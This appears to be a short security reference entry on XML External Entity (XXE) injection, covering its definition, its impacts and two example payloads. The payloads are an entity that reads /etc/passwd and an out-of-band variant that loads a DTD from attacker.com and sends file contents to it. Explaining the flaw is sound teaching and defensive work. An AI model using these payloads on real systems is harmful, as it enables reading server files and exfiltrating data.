XXE
HighXML External Entity Injection
Definition
XML External Entity (XXE) is a vulnerability that abuses the external-entity feature of XML parsers. When an application processes input XML without disabling external entities, an attacker can read files from the server, perform SSRF or cause a denial of service.
Impact
Reading sensitive server files (/etc/passwd, configuration files)Server-Side Request Forgery (SSRF) through external entitiesDenial of service with Billion Laughs attacksOut-of-band data exfiltration (OOB-XXE)In some cases, remote code execution
Examples
XXE for file reading
An external entity is defined that references the /etc/passwd file. When the XML parser processes the document and expands the &xxe; entity, the file contents are included in the response.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>
Out-of-Band XXE (OOB)
When the response does not show the entity's content, the OOB technique is used: the server loads an external DTD that exfiltrates the file's data to a server controlled by the attacker.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <data>test</data> <!-- evil.dtd on the attacker's server --> <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;